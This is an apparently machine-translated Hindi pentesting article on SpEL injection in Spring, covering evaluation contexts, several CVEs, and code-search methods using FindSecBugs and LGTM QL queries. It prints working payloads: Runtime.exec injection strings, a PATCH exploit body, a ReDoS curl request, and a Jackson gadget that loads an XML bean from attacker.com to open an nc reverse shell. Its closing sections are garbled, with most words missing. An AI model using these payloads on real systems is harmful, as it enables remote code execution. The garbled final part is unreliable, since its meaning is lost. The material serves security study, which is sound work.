पहचान

विभिन्न सेवाओं पर काम करने और शोध करने की प्रक्रिया में, हम तेजी से स्प्रिंग फ्रेमवर्क को पूरा कर सकते हैं। और तार्किक कदम इसकी संरचना और संभावित कमजोरियों से परिचित होना है।

किसी भी पेंटेस्टर के लिए सबसे दिलचस्प कमजोरियां हैं जो कोड निष्पादन को जन्म देती हैं।

स्प्रिंग में RCE प्राप्त करने का एक तरीका स्पेल अभिव्यक्तियों को इंजेक्ट करना है।

इस लेख में हम यह समझने की कोशिश करेंगे कि स्पेल क्या है, यह कहां पाया जा सकता है, उपयोग की विशेषताएं क्या हैं और इस तरह के इंजेक्शन कैसे लगाएं।

क्या?

स्पेल स्प्रिंग फ्रेमवर्क के लिए बनाई गई एक अभिव्यक्ति भाषा है जो रनटाइम पर ऑब्जेक्ट्स की क्वेरी और ग्राफ़ प्रबंधन का समर्थन करती है।
यह भी ध्यान रखना महत्वपूर्ण है कि स्पेल एक एपीआई के रूप में बनाया गया था जो आपको इसे अन्य अनुप्रयोगों और रूपरेखाओं में एकीकृत करने की अनुमति देता है।

मैं कहाँ मिल सकता हूँ?

यह तर्कसंगत है कि स्प्रिंग फ्रेमवर्क में हर समय उपयोग किया जाता है। एक अच्छा उदाहरण स्प्रिंग सिक्योरिटी है, जहां स्पेल एक्सप्रेशन का उपयोग करके अधिकार दिए गए हैं:

@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 

अपाचे ऊंट स्पेल एपीआई का उपयोग करता है; नीचे इसके प्रलेखन से उदाहरण दिए गए हैं।
स्पेल-अभिव्यक्तियों का उपयोग करते हुए पत्रों का गठन:

 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

या आप बाहरी फ़ाइल से एक नियम का उपयोग कर सकते हैं, उदाहरण के लिए, एक हैडर निर्दिष्ट करने के लिए:

 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

यहाँ GitHub पर कुछ उदाहरण देखे गए हैं:
https://github.com/jpatokal/openflights

https://github.com/hbandi/LEP

स्प्रिंग फ्रेमवर्क और स्पेल बेसिक्स

पाठक को समझने के लिए यह समझने के लिए कि स्पेल इंजेक्शन क्या हैं, आपको स्प्रिंग और स्पेल को थोड़ा जानने की जरूरत है।

स्प्रिंग फ्रेमवर्क का एक प्रमुख तत्व स्प्रिंग कंटेनर है। एक कंटेनर ऑब्जेक्ट बनाता है, उन्हें एक साथ जोड़ता है, कॉन्फ़िगर करता है और निर्माण से विनाश तक उनका प्रबंधन करता है।

उन घटकों को नियंत्रित करने के लिए जो एप्लिकेशन बनाते हैं, स्प्रिंग कंटेनर का उपयोग करता है
निर्भरता इंजेक्शन। यह तब होता है जब वस्तुओं को स्प्रिंग बीन्स नामक बाहरी संस्थाओं का उपयोग करके कॉन्फ़िगर किया जाता है - बोलचाल की भाषा में "सेम"।

स्प्रिंग कंटेनर सेम से कॉन्फ़िगरेशन मेटाडेटा को पुनः प्राप्त करता है जिसे निम्न जानकारी प्राप्त करने की आवश्यकता होती है: निर्देश क्या वस्तुओं को तत्काल और मेटाडेटा के माध्यम से उन्हें कैसे कॉन्फ़िगर करें।

मेटाडेटा 3 तरीकों से प्राप्त किया जा सकता है:

• एक्सएमएल
• जावा एनोटेशन
• जावा कोड

और हमारे लिए एक और महत्वपूर्ण बिंदु अनुप्रयोग संदर्भ है।

ApplicationContext एक स्प्रिंग एप्लिकेशन में मुख्य इंटरफ़ेस है जो एप्लिकेशन कॉन्फ़िगरेशन जानकारी प्रदान करता है। यह केवल रनटाइम पर पढ़ा जाता है, लेकिन यदि आवश्यक हो और आवेदन द्वारा समर्थित हो तो इसे फिर से लोड किया जा सकता है। ApplicationContext इंटरफ़ेस को लागू करने वाली कक्षाओं की संख्या विभिन्न कॉन्फ़िगरेशन मापदंडों और एप्लिकेशन प्रकारों के लिए उपलब्ध है। वास्तव में, यह स्प्रिंग एप्लीकेशन ही है। संदर्भ आवेदन के भीतर होने वाली विभिन्न घटनाओं का जवाब देने और सेम के जीवन चक्र को नियंत्रित करने की क्षमता भी प्रदान करता है।

अब सीधे बीन को परिभाषित करने और स्पेल भावों का उपयोग करने के तरीकों पर ध्यान दें।

Bean.XML

विशिष्ट उपयोग का एक उदाहरण एक्सएल के निर्माण में स्पेल का एकीकरण या बीन घटकों की एनोटेट परिभाषाएं हैं:

 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

यहाँ सेम का एक हिस्सा है। xml फ़ाइल, केवल इसकी एक सेम के लिए। यह बिन की आईडी पर ध्यान देने योग्य है, जिसके द्वारा इसे एक्सेस किया जा सकता है, और गुणों के लिए। क्योंकि इस लेख के भाग के रूप में हम स्पेल के उपयोग की संभावना पर विचार कर रहे हैं, तो उदाहरण में इस तरह के भाव लिखने के लिए कई विकल्प दिए जाएंगे।

स्प्रिंग को इंगित करने के लिए कि स्पेल अभिव्यक्तियाँ आती हैं, # वर्ण का उपयोग किया जाता है, और अभिव्यक्ति स्वयं ब्रेसिज़ में संलग्न है: #{SpEL_expression} । गुणों को $ चरित्र का उपयोग करके और ब्रेसिज़ में संपत्ति के नाम को संलग्न करने के लिए संदर्भित किया जा सकता है: ${someProperty} । प्रॉपर्टी प्लेसहोल्डर्स में स्पेल एक्सप्रेशन नहीं हो सकते हैं, लेकिन एक्सप्रेशन में प्रॉपर्टी संदर्भ हो सकते हैं:

 "#{${someProperty}" 

इस प्रकार, आप किसी भी जावा वर्ग को हमारी आवश्यकता कह सकते हैं या उदाहरण के लिए, पर्यावरण चर का उपयोग कर सकते हैं, जो उपयोगकर्ता नाम या सिस्टम के संस्करण को निर्धारित करने के लिए उपयोगी हो सकता है।

सेम को निर्दिष्ट करने की इस पद्धति की सुविधा पूरे आवेदन को फिर से जमा किए बिना उन्हें बदलने की क्षमता है, जिससे आवेदन का व्यवहार बदल जाता है।

आवेदन से ही, आप इस बीन का उपयोग ApplicationContext इंटरफ़ेस का उपयोग करके कर सकते हैं, जैसा कि नीचे दिखाया गया है:

 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); 

यानी आवेदन के अंदर, हमें बस बिन मापदंडों के मान मिलते हैं जिनमें स्पेल अभिव्यक्तियाँ होती हैं। वसंत, इस तरह के मूल्य प्राप्त करने, अभिव्यक्ति को निष्पादित करता है और अंतिम परिणाम देता है। इसके अलावा, यह मत भूलो कि यह कोड संबंधित गेटर्स के बिना काम नहीं करेगा, लेकिन उनका विवरण लेख के दायरे से परे है।

बीन्स को निर्दिष्ट करने का दूसरा तरीका एनोटेशनबेस एनोटेशन विधि है - पैरामीटर मान कुछ वर्ग के एनोटेशन के अंदर सेट किए जाते हैं। इस मामले में, चर का उपयोग संभव नहीं है।

 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

स्पेल एक्सप्रेशन बनाते समय, चर का उपयोग करने में सक्षम होने के लिए, हमें एक्सप्रेशनप्रैसर इंटरफ़ेस का उपयोग करने की आवश्यकता होती है। और फिर निम्न उदाहरण के समान आवेदन कोड में एक वर्ग दिखाई देता है:

 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

ExpressionParser एक स्ट्रिंग एक्सप्रेशन को एक्सप्रेशन ऑब्जेक्ट में परिवर्तित करता है। इस प्रकार, विश्लेषण किए गए अभिव्यक्ति का मूल्य मूल्यांकन मूल्यांकन के ढांचे में प्राप्त किया जा सकता है। यह इवैल्यूएशन कॉन्टेक्स्ट एकमात्र ऐसी वस्तु होगी जिसमें से एल स्ट्रिंग में सभी गुण और चर उपलब्ध होंगे।

यह एक और महत्वपूर्ण तथ्य ध्यान देने योग्य है। स्पेल का उपयोग करने की इस पद्धति के साथ, हमें केवल स्ट्रिंग अभिव्यक्ति की आवश्यकता है, जिसमें #, अभिव्यक्ति के अलावा, इसमें स्ट्रिंग शाब्दिक शामिल हैं।

उपरोक्त सभी में, यह दो बातें याद रखने योग्य है:
1) यदि एप्लिकेशन कोड द्वारा खोज करना संभव है, तो आपको ऐसे कीवर्ड देखने की आवश्यकता है: SpelExpressionParser, EvaluationContext और parseExpression।
2) स्प्रिंग #{SpEL} , ${someProperty} और T(javaclass)
यदि आप स्प्रिंग और स्पेल के बारे में अधिक पढ़ना चाहते हैं, तो हम अनुशंसा करते हैं कि आप डॉक्स पर ध्यान दें ।

स्पेल क्या कर सकता है?

प्रलेखन के अनुसार, स्पेल निम्नलिखित कार्यक्षमता का समर्थन करता है:

• शाब्दिक भाव
• बूलियन और रिलेशनल ऑपरेटर
• नियमित अभिव्यक्ति
• कक्षा के भाव
• एक्सेस करने के गुण, सरणियाँ, सूचियाँ, नक्शे
• विधि आह्वान
• संबंधित ऑपरेटर
• असाइनमेंट
• निर्माण करने वाले बुला रहे हैं
• बीन संदर्भ
• अर्रे निर्माण
• इनलाइन सूची
• इनलाइन नक्शे
• टर्नरी ऑपरेटर
• चर
• उपयोगकर्ता परिभाषित कार्य
• संग्रह प्रक्षेपण
• संग्रह का चयन
• अस्थायी भाव

जैसा कि हम देख सकते हैं, स्पेल कार्यक्षमता बहुत समृद्ध है, और यदि उपयोगकर्ता इनपुट एक्सप्रेशनप्रैसर में जाता है, तो यह परियोजना की सुरक्षा को प्रतिकूल रूप से प्रभावित कर सकता है। इसलिए, स्प्रिंग स्वयं का उपयोग करने की सलाह देता है, एक पूरी तरह कार्यात्मक StandardEcalutionContext के बजाय, एक अधिक छीन लिया गया SimpleEvaluationContext।

संक्षेप में, हमारे लिए महत्व, SimpleEvaluationContext में जावा कक्षाओं तक पहुँचने और अन्य सेम को संदर्भित करने की क्षमता नहीं है।

सुविधाओं का पूरा विवरण सबसे अच्छी तरह से प्रलेखन वेबसाइट पर खोजा गया है:
StandardEvaluationContext
SimpleEvaluationContext

कुछ सुधार स्पेल की कार्यक्षमता में अंतर पर भी आधारित हैं, जो विभिन्न संदर्भों में चलता है, लेकिन हम इस बारे में थोड़ी देर बाद बात करेंगे।

सब कुछ वास्तव में स्पष्ट करने के लिए, हम एक उदाहरण देते हैं। हमारे पास स्पेल अभिव्यक्ति वाली स्पष्ट रूप से दुर्भावनापूर्ण रेखा है:

 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

और दो संदर्भ हैं:

 StandardEvaluationContext std_c = new StandardEvaluationContext(); 

और

 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

अभिव्यक्ति exp = parser.parseExpression (चोट);
java exp.getValue(std_c); - कैलकुलेटर लॉन्च किया जाएगा
java exp.getValue(simple_c); - हमें एक त्रुटि संदेश मिलेगा

एक समान रूप से दिलचस्प बिंदु यह है कि हम किसी भी संदर्भ को निर्दिष्ट किए बिना अभिव्यक्ति को संसाधित करना शुरू कर सकते हैं: exp.getValue();
इस मामले में, अभिव्यक्ति को मानक संदर्भ के भीतर निष्पादित किया जाएगा और, परिणामस्वरूप, दुर्भावनापूर्ण कोड निष्पादित किया जाएगा। इसलिए, यदि आप एक प्रोग्रामर हैं और स्प्रिंग का उपयोग करते हैं - कभी भी उस संदर्भ को सेट करना न भूलें जिसके भीतर अभिव्यक्ति निष्पादित होनी चाहिए।

हमने कुछ समय पहले कहा था कि कुछ सुधार संदर्भों के भीतर स्पेल क्षमताओं के बीच के अंतर पर बनाए गए हैं। इस तरह के फिक्स के उदाहरण पर विचार करें।

सीवीई 2018-1273 स्प्रिंग डेटा कॉमन्स
यह भेद्यता setPropertyValue विधि में पाई गई थी और दो समस्याओं पर आधारित थी:
1) एक्सप्रेशनपैरसर में आने वाले चर के मूल्यों की अपर्याप्त स्वच्छता।
2) मानक संदर्भ के फ्रेम में अभिव्यक्ति का निष्पादन।

यहाँ कोड के असुरक्षित भाग का एक स्क्रीनशॉट दिया गया है:

क्योंकि संपत्ति के नाम को स्पेल ढांचे के भीतर जटिल प्रसंस्करण की आवश्यकता नहीं थी; संदर्भ को बदलने के लिए तार्किक समाधान था, जिसके परिणामस्वरूप निम्नलिखित कोड हैं:

स्क्रीनशॉट कोड के उन हिस्सों को दिखाते हैं जो संदर्भ और अभिव्यक्ति को निष्पादित करते हैं। लेकिन अभिव्यक्ति का निष्पादन कहीं और होता है:

 expression.setValue(context, value); 

यह यहां है कि यह इंगित किया गया है कि हम दिए गए संदर्भ में मूल्य मान के लिए एक स्पेल अभिव्यक्ति निष्पादित कर रहे हैं।
SimpleEvaluationContext का उपयोग करने से parseExpression में जावा क्लास के कार्यान्वयन के खिलाफ सुरक्षा में मदद मिली, और अब सर्वर लॉग में कोड निष्पादित करने के बजाय, हम एक त्रुटि देखेंगे:

 Type cannot be found 'java.lang.Runtime' 

लेकिन इसने पर्याप्त स्वच्छता की कमी के साथ समस्या को हल नहीं किया और एक रीडोस हमले का संचालन करने की क्षमता को बनाए रखा:

 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

इसलिए, अगले फिक्स में पहले से ही पैरामीटर नाम को शामिल करना शामिल था।

सिद्धांत से अभ्यास करने के लिए!

अब व्हाइट बॉक्स विधि का उपयोग करके स्पेल इंजेक्शन की खोज करने के कई तरीके देखें।

स्टेप बाय स्टेप CVE-2017-8046

सबसे पहले आपको स्पेल-एक्सप्रेशंस को प्रोसेस करने के लिए जगह ढूंढनी होगी। ऐसा करने के लिए, आप बस हमारी सिफारिश का उपयोग कर सकते हैं और कोड में कीवर्ड पा सकते हैं। इन शब्दों को याद करें: SpelExpressionParser, EvaluationContext, और parseExpression।

एक अन्य विकल्प कोड में त्रुटियों को खोजने के लिए विभिन्न प्लगइन्स का उपयोग करना है। अब तक, एकमात्र प्लग जो संभव स्पेल इंजेक्शन की ओर इशारा करता है, वह था नेकबग्स-क्ली।
https://github.com/find-sec-bugs

इसलिए, हमें वह स्थान मिला जिसकी हम कोड में रुचि रखते हैं। आइए findecbugs-cli का उपयोग कर कहते हैं:

एप्लिकेशन कोड में, हम निम्नलिखित देखेंगे:

 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

अगला चरण यह पता लगाना है कि अभिव्यक्ति चर में पथ चर कहां जाता है। IntelijIdea IDE फ़ंक्शन का उपयोग करने के लिए बल्कि सुविधाजनक और मुक्त तरीकों में से एक होगा - डेटाफ़्लो का विश्लेषण करें:

उदाहरण और उदाहरण के लिए, निर्दिष्ट श्रृंखलाओं और वर्गों को बदलने और उनका अध्ययन करने के लिए, चेन को अनडिंडेड करके, हमें निम्नलिखित मिलते हैं:

रिप्लेसमेंट विधि पथ चर का मान लेती है।

 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

और प्रतिस्थापित विधि को कॉल करने के लिए, आपको चर "ऑप" को JSON के मान "बदलें" के साथ पास करना होगा।

 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

इसी तरह, हम उन सभी स्थानों को ढूंढते हैं जहां उपयोगकर्ता उस मार्ग चर के लिए आवश्यक मान पास कर सकता है। और फिर भेद्यता के लिए शोषण विकल्पों में से एक इस तरह दिखाई देगा:
अनुरोध विधि: पैट
अनुरोध निकाय:

 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

LGTM QL का उपयोग करना

एलजीटीएम क्यूएल का उपयोग करना (इस लेख के प्रयोजनों के लिए, हम बस इसे क्यूएल के लिए कम करते हैं) कमजोरियों की खोज करने का एक और दिलचस्प तरीका है।
https://lgtm.com

इसकी कमी को तुरंत दूर करना चाहिए। मुफ्त के लिए, आप केवल उन परियोजनाओं का विश्लेषण कर सकते हैं जो गिटहब पर खुले भंडार में हैं, क्योंकि परियोजना की एक तस्वीर लेने के लिए, LGTM परियोजना को अपने सर्वर पर अपलोड करता है और उसे संकलित करता है। लेकिन अगर यह आपको परेशान नहीं करता है, तो एलजीटीएम क्यूएल आपके लिए एप्लिकेशन कोड का विश्लेषण करने के महान अवसर खोलेगा।

तो QL एप्लिकेशन विश्लेषण क्या है?

शुरू करने के लिए, जैसा कि हमने पहले ही कहा था, आपको एप्लिकेशन का स्नैपशॉट बनाने की आवश्यकता होगी।

जब स्नैपशॉट तैयार हो जाता है, और इसमें कई घंटे लग सकते हैं, तो आप QL सिंटैक्स के हिस्से के रूप में SQL जैसी क्वेरी लिखना शुरू कर सकते हैं। ऐसा करने के लिए, आप प्रोजेक्ट के QL पृष्ठ पर कंसोल के लिए प्लगइन का उपयोग कर सकते हैं या कंसोल में सीधे कार्य कर सकते हैं।

क्योंकि अब हम वसंत पर विचार कर रहे हैं, और यह जावा के लिए रूपरेखा है, आपको अपनी रुचि का वर्ग और इस वर्ग से विधि का वर्णन करने की आवश्यकता होगी, जिसमें से कॉल को असुरक्षित माना जाता है। हमारे लिए, यह कोई भी वर्ग है जिसमें एक विधि शामिल है जो ExpressionParser कहती है।

फिर हम उन सभी तरीकों का चयन करते हैं, जो हमारी आवश्यकताओं को पूरा करते हैं, उदाहरण के लिए, एक चर की घटना का वर्णन इस विधि में किया जाएगा जो कि इस पद्धति में संचित हो जाएगी और इस पद्धति में न आने की स्थिति का सामना करेगी।

तो, CVE भेद्यता 2018-1273 को खोजने के लिए क्या करने की आवश्यकता है?
प्रोजेक्ट इमेज प्राप्त और कनेक्ट होने के बाद, हम उस कॉल ट्री का वर्णन करने के लिए QL कंसोल का उपयोग करते हैं जो हमें रुचिकर बनाता है। ऐसा करने के लिए:
हम अभिव्यक्ति पार्सर वर्ग का वर्णन करते हैं:

 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

और अभिव्यक्ति के लिए इस्तेमाल किया जा सकता है कि तरीके अभिव्यक्ति वर्ग:

 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

अब आपको इन विवरणों को एक दूसरे से जोड़ने और चयन करने की आवश्यकता है:

 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

ऐसी क्वेरी पार्स के साथ या doParseExpression नाम के साथ शुरू होने वाले सभी तरीकों को वापस कर देगी जो एक्सप्रेशन पेपर क्लास से संबंधित होगी। लेकिन यह बहुत ज्यादा है, आप कहते हैं, और आप सही होंगे। एक फिल्टर की आवश्यकता है।

क्योंकि कोड में फॉर्म की एक टिप्पणी है:

 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

उदाहरण के लिए, जावादोक में "पथ" की खोज हो सकती है। वसंत संहिता अपने कोड में एक बहुत ही उच्च गुणवत्ता में, और हम आवश्यक टिप्पणी के साथ विधि कॉल पा सकते हैं, और एक ही समय में उन सभी तरीकों को हटा सकते हैं जो परीक्षणों में शामिल हैं। यह सब इस प्रकार वर्णित किया जा सकता है:

 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

फिर, Javadoc द्वारा वर्ग, विधियों और फ़िल्टर को संयोजित करने के लिए, चयन के लिए क्वेरी निम्न रूप लेगी:

 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

यह उदाहरण सरल माना जा सकता है और, सामान्य रूप से, एक विशिष्ट भेद्यता की खोज करने के लिए अनावश्यक। बहुत अधिक दिलचस्प है फिक्स लिखते समय त्रुटियों की खोज इसमें, आपको कक्षा को स्वयं निर्दिष्ट करने की आवश्यकता है, जो जाँच के लिए जिम्मेदार है, वे विधियाँ जो हमेशा इसे कॉल करती हैं और जिन्हें जाँचने से पहले निष्पादित किया जाता है।

विधि के लिए एक कॉल जिसे हमेशा सत्यापनपाठ कहते हैं:

 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

सत्यापनपाठ से पहले निष्पादित एक विधि के लिए एक कॉल:

 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

एक और दिलचस्प भेद्यता पर विचार करें। उसकी समझ बहुत महत्वपूर्ण है, क्योंकि यह दर्शाता है कि त्रुटि तृतीय-पक्ष लाइब्रेरी में हो सकती है, और यह दर्शाता है कि XML एनोटेट बीन्स का उपयोग कैसे किया जा सकता है।

जैक्सन और बीन

CVE-2017-17485 FileSystemXmlApplicationContext के उपयोग पर आधारित है - यह XML के रूप में एक स्टैंड-अलोन अनुप्रयोग संदर्भ है, जो फ़ाइल सिस्टम से या URL से संदर्भ परिभाषा फ़ाइलों को प्राप्त करता है।

प्रलेखन के अनुसार, यह आपको एक फ़ाइल से बीन्स को लोड करने और एप्लिकेशन संदर्भ को फिर से लोड करने की अनुमति देता है।
"" एक नई FileSystemXmlApplicationContext बनाएँ, दिए गए XML फ़ाइलों से परिभाषाओं को लोड करना और स्वचालित रूप से संदर्भ को ताज़ा करना "

जैक्सन एक पुस्तकालय है जो आपको उन ब्लैक लिस्टेड को छोड़कर किसी भी ऑब्जेक्ट को क्रमबद्ध और डिस्क्राइब करने की अनुमति देता है। इस अवसर का उपयोग अक्सर हमलावरों द्वारा किया जाता है। इस भेद्यता के मामले में, हमलावर को org.springframework.context.support.FileSystemXmlApplicationContext ऑब्जेक्ट को पास करना पड़ता है जिसमें हमलावर द्वारा नियंत्रित फ़ाइल के लिए पथ होता है।

यानी अनुरोध निकाय में आप निम्नलिखित JSON पास कर सकते हैं:

 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

Spel.xml में बिन पैरामीटर होंगे:

 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

क्योंकि चूंकि हमने बीन क्लास java.lang.ProcessBuilder का उपयोग किया है, जिसमें एक आरंभ विधि है, संदर्भ को फिर से लोड करने के बाद, स्प्रिंग स्पेल गुण से प्रोसेसब्यूस्टल शुरू करने वाले अभिव्यक्ति को पढ़ता है, जिससे सर्वर को एनसी का उपयोग करके हमसे कनेक्ट करने के लिए मजबूर किया जाता है।

यह उदाहरण के रूप में दिए गए spel.xml पर ध्यान देने योग्य है, जैसा कि यह दिखाता है कि कमांड चलाते समय पैरामीटर कैसे पास करें।

और किस तरीके से हम अपने बीन को लोड कर सकते हैं या संदर्भ को फिर से लोड कर सकते हैं?

स्प्रिंग डॉक्यूमेंटेशन पर एक त्वरित नज़र डालने पर भी, आप कुछ और कक्षाएं पा सकते हैं जो हमारे लिए उपयोगी हो सकती हैं।

ClassPathXmlApplicationContext और AbstractXmlApplicationContext फाइलसिस्टम के समान हैं, लेकिन क्लासपैथ- और XML- एनोटेट बीन्स क्रमशः कॉन्फ़िगरेशन के लिए पथ के रूप में उपयोग किए जाते हैं।

संदर्भ को फिर से लोड करने से संबंधित एक और दिलचस्प बिंदु है - @RefreshScope।

@RefreshScope के साथ एनोटेट किए गए किसी भी स्प्रिंग बीन को लॉन्च के समय अपडेट किया जाएगा। और सभी घटक जो इसका उपयोग करते हैं, अगली बार विधि को कॉल करने पर एक नई वस्तु प्राप्त करेंगे, उन्हें पूरी तरह से आरंभ किया जाएगा और निर्भर करेगा।

RefreshScope संदर्भ में एक घटक है, और इसमें एक सार्वजनिक रिफ्रेश है, जो लक्षित कैश को साफ़ करके सभी घटकों को एक क्षेत्र में अद्यतन करने के लिए डिज़ाइन किया गया है। इसलिए, @RefreshScope का उपयोग करते समय, उपयोगकर्ता URL को समाप्त / ताज़ा कर सकता है, और इस तरह एनोटेट किए गए सेम को फिर से लोड कर सकता है।

अन्य उपयोगिताओं

कई अन्य प्लगइन्स और प्रोग्राम हैं जो आपको कोड का विश्लेषण करने और भेद्यता का पता लगाने की अनुमति देते हैं।

• Jprofiler - एक अलग एप्लिकेशन के रूप में स्थापित है - आईडीई के लिए सर्वर और प्लगइन। आपको एक चल रहे एप्लिकेशन का विश्लेषण करने की अनुमति देता है। रेखांकन के माध्यम से वस्तुओं के व्यवहार का विश्लेषण करना बहुत सुविधाजनक है।

के लिए - भुगतान किया है, लेकिन 10 दिनों की एक नि: शुल्क अवधि है। यह केवल सुरक्षा के दृष्टिकोण से ही नहीं बल्कि अनुप्रयोग व्यवहार के विश्लेषण के लिए सर्वोत्तम उपयोगिताओं में से एक माना जाता है।

• एक्सरेबेल - भुगतान किया गया, हमें परीक्षण अवधि की संभावना नहीं मिली। लेकिन सर्वश्रेष्ठ में से एक भी माना जाता है।
• कवरेज - विश्लेषण के लिए अपने स्वयं के सर्वर का उपयोग करता है, इसलिए यह केवल उन लोगों के लिए सुविधाजनक है जो अपने कोड को बाहर करने से डरते नहीं हैं।
• चेकमारक्स - बहुत प्रसिद्ध, भुगतान किया गया है, कई भाषाओं को जानता है और बहुत सारे झूठे सकारात्मकता को दर्शाता है। लेकिन उस जगह की ओर इशारा करना बेहतर है जहां सिद्धांत की गलती से वास्तविक गलती याद आती है।
• OWASP निर्भरता की जाँच - विभिन्न बिल्डरों के लिए एक सुविधाजनक प्लग-इन के रूप में प्रदान की जाती है। जावा एप्लिकेशन का विश्लेषण करते समय हम मावेन और एंट के लिए इसका परीक्षण करने में कामयाब रहे। साथ ही .Net का समर्थन करता है। कार्य के परिणामों के अनुसार, यह अप्रचलित पुस्तकालयों और उनके लिए ज्ञात कमजोरियों को इंगित करते हुए एक सुविधाजनक रिपोर्ट प्रदान करता है।
• फाइंडबग्स - यह पहले से ही पहले ही उल्लेख किया गया था। इसके कई कार्यान्वयन हैं, लेकिन खोजबग्स_कली विकल्प सबसे सुविधाजनक और किसी कारण से अधिक समस्याएं दिखा रहा है। इसका उपयोग इस प्रकार किया जा सकता है:
  

   findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 

• LGTM QL - इसके उपयोग का एक उदाहरण पहले ही दिया जा चुका है। हम अलग से कहना चाहते हैं कि एक पेड उपयोग का मामला भी है, जिसके बाद आपको अपने कोड का विश्लेषण करने के लिए एक स्थानीय सर्वर प्राप्त होगा।
  QL Java, .

Black Box

-, .
, : Spring, SpEL, , SpEL API, -, .

spring, URL, API. /metrics /beans — Spring Boot Actuator , .

, .

, SpEL , , .

• : var[SpEL]=123
• : &variable1=123&SpEL=
• : org.springframework.cookie = ${}
• ..

:

 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL

SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .

ZeroNights : “ , Spring, SpEL injection?”

, CVE, . , , github.

, , SpEL Expression. यानी (, ) , .

यानी . , , “” .